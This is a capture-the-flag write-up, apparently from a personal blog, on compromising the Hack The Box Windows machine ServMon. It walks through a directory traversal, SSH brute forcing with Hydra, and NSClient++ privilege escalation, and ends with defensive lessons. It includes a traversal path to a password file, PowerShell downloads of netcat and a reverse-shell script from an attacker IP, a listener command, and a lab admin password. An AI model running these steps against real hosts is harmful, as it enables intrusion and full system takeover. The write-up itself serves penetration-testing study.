Skip to main content

Command Palette

Search for a command to run...

OSCP Prep #8 HTB Write-Up ServMon

Published
15 min read
OSCP Prep #8 HTB Write-Up 
ServMon

1. Target Overview

Machine Name: ServMon

Platform: Hack The Box

Operating System: Windows

Target IP: 10.129.227.77

Objective: Obtain both the user and administrator flags by identifying weaknesses that allow initial access and privilege escalation.

ServMon is a Windows-based machine that exposes multiple network services commonly found in enterprise environments. These services provide a broad attack surface and require careful enumeration to understand what functionality they expose and whether any sensitive information is accessible.

Tools Used

  • RustScan – Rapid port discovery

  • Nmap – Service enumeration

  • Burp Suite – Intercepting and modifying HTTP requests

  • Searchsploit – Exploit discovery

  • Hydra – Credential brute forcing

  • SSH – Remote shell access and port forwarding

  • Python HTTP Server – File transfer to the target

  • Netcat – Reverse shell listener

  • NSClient++ Web Interface – Exploitation and task scheduling


2. Enumeration

Port Discovery

As always, I began the engagement by performing a full port scan to identify any exposed services on the target machine.


Service Enumeration

The Nmap scan revealed several interesting services running on the host:

21/tcp    open  ftp           Microsoft ftpd
22/tcp    open  ssh           OpenSSH for_Windows_8.0
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt

One of the first things that immediately stood out was that FTP allowed anonymous login, which is always worth investigating since it may expose files or directories accessible without authentication.

ftp-anon: Anonymous FTP login allowed

The scan also revealed the presence of two web services running on ports 80 and 8443, which are typically high-priority targets during enumeration.

When visiting the web server on port 80, the page returned a redirect to:

/Pages/login.htm

This suggested that the service was hosting a web-based login interface, which could potentially expose functionality or vulnerabilities worth investigating.

The HTTPS service on port 8443 appeared to be associated with NSClient++, a monitoring agent commonly used in Windows environments.

Given these findings, the next step in the enumeration process was to begin investigating the web applications running on ports 80 and 8443 to understand what functionality they exposed and whether they could provide an entry point into the system.

Web Application Enumeration

When visiting the web server on port 80, I was presented with a login panel for an application called NVMS-1000, which appears to be a web interface associated with a video monitoring or surveillance management system.

I first attempted several common default credential combinations. admin : admin and root : root. Both attempts failed to authenticate.

Since this appeared to be a third-party application, I performed a quick search for NVMS-1000 default credentials. Documentation suggested that the default login should be: admin : 123456

However, attempting these credentials also failed.

At this point, since authentication was unsuccessful and another web service had been identified during the port scan, the next step was to investigate the service running on port 8443.

NSClient++ Interface (Port 8443)

Next, I navigated to the HTTPS service running on port 8443, which presented a login interface for NSClient++, a Windows monitoring agent commonly used to allow remote systems to query host metrics and execute monitoring checks.

Because tools like NSClient++ can execute commands on the host for monitoring purposes, they can become high-value targets if misconfigured or exposed externally.

I attempted several simple credential guesses such as:

admin
root

However, authentication attempts failed. A quick search for default credentials for NSClient++ did not reveal any commonly used default passwords for the web interface.

At this point, since both web interfaces required authentication and no immediate entry point was found, I decided to shift my focus toward the FTP service, which allowed anonymous login. At the same time, I began running ffuf directory enumeration in the background against both port 80 and port 8443 to identify any hidden endpoints or resources that might provide additional attack surface.

FTP Enumeration

Since anonymous login was allowed on the FTP service, I connected to the server to see what files or directories were accessible.

ftp -a 10.129.227.77

After connecting successfully, I enumerated the directory structure and discovered a Users directory that appeared to contain folders corresponding to local user accounts on the system.

Users/
 ├── Nadine
 └── Nathan

Inside these directories I discovered two potentially interesting files:

Confidential.txt
Notes to do.txt

Both files were downloaded for further analysis.

get Confidential.txt
get Notes\ to\ do.txt

After examining the contents of these files, they appeared to be internal notes between users on the system. One message referenced a Passwords.txt file located on Nathan’s desktop, while the other listed several administrative tasks related to the NVMS application and NSClient configuration.

Although these notes did not immediately provide usable credentials, they did suggest that sensitive information may exist elsewhere on the system and confirmed that both NVMS and NSClient were actively being managed by the users.


Further Enumeration

Since the downloaded files did not reveal any immediate credentials, I returned to investigating the exposed web applications. The directory enumeration running in the background with ffuf against ports 80 and 8443 did not reveal any interesting endpoints.

At this stage, with no direct access through the web interfaces and no immediate credentials from the FTP files, the next step was to begin researching known vulnerabilities affecting the NVMS-1000 application to determine whether a publicly known exploit might exist.

Privilege Escalation Research

While researching potential next steps, I also investigated the NSClient++ service that had been identified earlier during port enumeration.

Using searchsploit, I discovered a vulnerability affecting NSClient++ version 0.5.2.35.

The results revealed two relevant entries:

Reviewing the privilege escalation advisory revealed that low-privileged users may be able to read the NSClient++ web administrator password in cleartext from the configuration file when the web server component is enabled.

Once the administrator password is obtained, a user can authenticate to the NSClient++ web interface and modify the configuration to enable modules capable of executing external scripts.

Since the NSClient++ service runs as LocalSystem, any scheduled scripts executed through the service will run with SYSTEM privileges, allowing a low-privileged user to escalate privileges on the system.

The exploit description also indicated that after modifying the configuration, a system reboot is required for the changes to take effect.

At this point I noted this vulnerability as a potential privilege escalation path once a foothold on the system had been obtained.

Vulnerability Research

Since the previous enumeration steps did not immediately reveal valid credentials or accessible functionality, I began searching for publicly known vulnerabilities affecting the NVMS-1000 application.

Using searchsploit, I discovered a reported directory traversal vulnerability affecting NVMS 1000.

One of the results indicated that the application was vulnerable to directory traversal attacks that could allow an attacker to retrieve arbitrary files from the underlying system.

The exploit description indicated that a specially crafted request using repeated ../ sequences could allow an attacker to access files outside of the web application directory.

To verify whether the target was vulnerable, I intercepted a request using Burp Suite and attempted to request the Windows win.ini file using a directory traversal payload.

The win.ini file is commonly used as a test file during directory traversal attacks because it is almost always present on Windows systems and can typically be accessed without elevated privileges. The file originally stored configuration settings for legacy Windows applications and 16-bit compatibility layers, and although it is largely unused by modern Windows systems, it is still included by default for backward compatibility.

Because of its predictable location (C:\Windows\win.ini) and universal presence on Windows hosts, it serves as a reliable indicator that a directory traversal attack is successfully reading files from the operating system.

The server responded with the contents of the file, confirming that the directory traversal vulnerability was indeed present on the target.

3. Exploitation

With the traversal vulnerability confirmed, I began thinking about files that might contain useful information. Earlier during FTP enumeration, I discovered a message referencing a Passwords.txt file located on Nathan’s desktop.

Because directory traversal vulnerabilities typically allow arbitrary file reads but not directory listing, I needed to know the exact file path in advance. Fortunately, the FTP notes already revealed both the filename and the user account, allowing me to construct the expected Windows desktop path.

Typical Windows desktop location:

C:\Users\<username>\Desktop\

Using this information, I crafted a traversal request in Burp Suite targeting the following path:

/../../../../../../../../../../users/nathan/desktop/passwords.txt

The server responded with the contents of the file, successfully exposing the stored credentials.

With the list of passwords obtained through the directory traversal attack, I now had a set of potential credentials that could be used for authentication attempts. From earlier enumeration I had already identified several valid usernames on the system:

administrator
nathan
nadine

Since SSH was exposed on port 22, this provided a straightforward way to test the discovered passwords against the known user accounts.

To automate the authentication attempts, I used Hydra, supplying a list of usernames along with the password list retrieved from the Passwords.txt file.

Hydra performs a brute-force style attack by attempting every username and password combination from the supplied lists. After running the attack, Hydra quickly returned a valid credential pair:

Using these credentials, I authenticated to the target system over SSH:

After logging in successfully, I confirmed the context of the shell.

This confirmed that I now had an interactive shell on the system as the nadine user, providing a foothold on the target machine.

4. Privilege Escalation

After gaining a foothold on the system as the nadine user, my next objective was to determine whether the NSClient++ vulnerability discovered earlier could be leveraged to escalate privileges.

During earlier enumeration, I had identified that the system was running NSClient++, a monitoring agent commonly used with monitoring platforms such as Nagios to collect system metrics and execute monitoring checks. Because monitoring services often run with elevated privileges, they can sometimes present useful privilege escalation opportunities if misconfigured.

From my earlier vulnerability research using searchsploit, I had already identified a known privilege escalation issue affecting NSClient++ version 0.5.2.35. In order to determine whether the target system was vulnerable, the first step was to verify which version of NSClient++ was installed.

To do this, I began searching the system for the NSClient++ installation directory and configuration files, as these locations often contain version information and additional details about how the service is configured.

Identifying the installed version would allow me to confirm whether the system was likely vulnerable before attempting to exploit the service.

The output confirmed that the system was running the vulnerable version.

With the vulnerable version confirmed, I proceeded to the next step described in the exploit advisory: retrieving the web administrator password from the NSClient++ configuration file.

Inside the configuration file, I located the stored password value:

password = ew2x6SsGTxjRwXOT

While reviewing the same configuration file, I also noticed an important restriction in the configuration:

allowed hosts = 127.0.0.1

This setting restricts access to the NSClient++ web interface so that only connections originating from localhost are permitted. Although the service was listening on port 8443, external connections from my attacking machine would be blocked.

To bypass this restriction, I created an SSH tunnel through the foothold I already had on the system. This allowed me to forward a local port from my attacking machine to the target’s 127.0.0.1:8443 interface.

ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77

With the tunnel established, I could now access the NSClient++ web interface locally from my browser by navigating to:

https://127.0.0.1:9000

Using the administrator password recovered from the configuration file, I successfully authenticated to the NSClient++ administrative panel.

Following the exploit steps, the next requirement was to enable the modules necessary for executing external scripts.

From the Modules section of the interface, I enabled the following modules:

CheckExternalScripts CheckTaskSched

These modules allow NSClient++ to execute external scripts and manage scheduled tasks, which are required for the privilege escalation technique.

Preparing the Reverse Shell

The next step was to prepare a reverse shell payload that could be executed by the NSClient++ service.

I created a simple batch script containing a Netcat reverse shell.

To transfer the required files to the target system, I hosted them from my attacking machine using a Python HTTP server.

python3 -m http.server 80

From the compromised system, I then downloaded both the Netcat binary and the batch script using PowerShell.

The requests were successfully received by the Python server, confirming that both files had been transferred to the target system.

With the reverse shell payload and Netcat binary now present on the machine, the next step would be to configure NSClient++ to execute the batch script through the scheduled task functionality, allowing the script to run under the LocalSystem context.

Executing the Privilege Escalation

With the payload in place, I returned to the NSClient++ web interface and edited the scheduled task configuration so that it would execute the batch script containing the reverse shell.

Before triggering execution, I set up a Netcat listener on my attacking machine.

nc -nvlp 9001

After updating the scheduled task configuration, I restarted the NSClient++ service to force the service to reload its configuration and execute the scheduled script.

Shortly after the service restarted, the listener received a connection from the target system.

Once connected, I verified the privilege level of the shell.

This confirmed that the exploit had successfully executed under the LocalSystem context, giving full administrative control of the machine.

5. Lessons Learned

1. Directory Traversal Can Expose Sensitive System Files

A key takeaway from this machine is how dangerous directory traversal vulnerabilities can be. Even though the NVMS application did not allow command execution directly, it allowed arbitrary file reads on the underlying system. This enabled access to sensitive files such as user password lists, which ultimately led to initial access.

This highlights the importance of validating file paths and preventing applications from accessing directories outside their intended scope.


2. Internal Information Disclosure Can Enable Attack Chains

The files discovered during FTP enumeration did not initially contain credentials, but they revealed valuable contextual information. Specifically, the message referencing a password file on Nathan's desktop provided the clue needed to construct the correct traversal path.

Small pieces of information like this often become critical when chained together with other vulnerabilities.


3. Monitoring Software Can Introduce Privilege Escalation Risks

Monitoring agents such as NSClient++ often run with elevated privileges in order to gather system metrics and execute health checks. If these services are misconfigured or vulnerable, they can become powerful escalation points.

In this case, the ability for low-privileged users to read the NSClient++ configuration file exposed the web administrator password.


4. Localhost Restrictions Are Not Always Effective

Although the NSClient++ web interface restricted access to 127.0.0.1, this protection was bypassed easily using SSH port forwarding. This demonstrates that restricting services to localhost alone is not always a sufficient security control when attackers already have a foothold on the system.


6. Defensive Insight

1. Prevent Directory Traversal Vulnerabilities

Web applications should strictly sanitize user-supplied paths and ensure that applications cannot access directories outside the intended web root.

Using safe path resolution functions and validating input can prevent attackers from requesting arbitrary files on the system.


2. Avoid Storing Sensitive Data in User Locations

Sensitive data such as password lists should never be stored in user desktop directories or other easily accessible locations. Proper credential storage solutions and secure password management practices should always be used.


3. Protect Service Configuration Files

Configuration files for privileged services should be protected with strict file permissions. In this case, allowing low-privileged users to read the NSClient++ configuration file exposed administrative credentials.

Service configuration files should only be readable by administrators or the service account itself.


4. Harden Monitoring Services

Monitoring tools like NSClient++ should be hardened by:

  • Disabling unnecessary modules

  • Restricting access to management interfaces

  • Regularly updating to patched versions

Running outdated monitoring software can expose systems to privilege escalation vulnerabilities.


7. Useful Commands

Initial Port Scanning

rustscan -a 10.129.227.77 -b 7000
nmap -sC -sV -p- 10.129.227.77

Anonymous FTP Access

ftp -a 10.129.227.77

Searching for Public Exploits

searchsploit nvms

Viewing Exploit Details

searchsploit -x 47774.txt

Hydra SSH Credential Attack

hydra -L user.txt -P pass.txt -t 16 10.129.227.77 ssh

Verifying NSClient++ Version

cd "C:\Program Files\NSClient++"
nscp.exe --version

Creating an SSH Port Forward

ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77.

Hosting Payload Files

python3 -m http.server 80

Downloading Payloads on the Target

powershell wget http://10.10.14.123/nc.exe -outfile nc.exe
powershell wget http://10.10.14.123/shell.bat -outfile shell.bat

Road To OSCP

Part 15 of 22

This series documents my journey toward the OSCP certification through practical CTF and lab machines, breaking down each challenge step-by-step while focusing on the mindset and methodology required for real penetration testing.

Up next

OSCP Prep #7 HTB Write-Up SolidState

1. Target Overview Machine Name: SolidState Platform: Hack The Box Operating System: Linux Target IP: 10.129.6.171 Objective: Obtain the user and root flags from the target machine. SolidState is a Li

More from this blog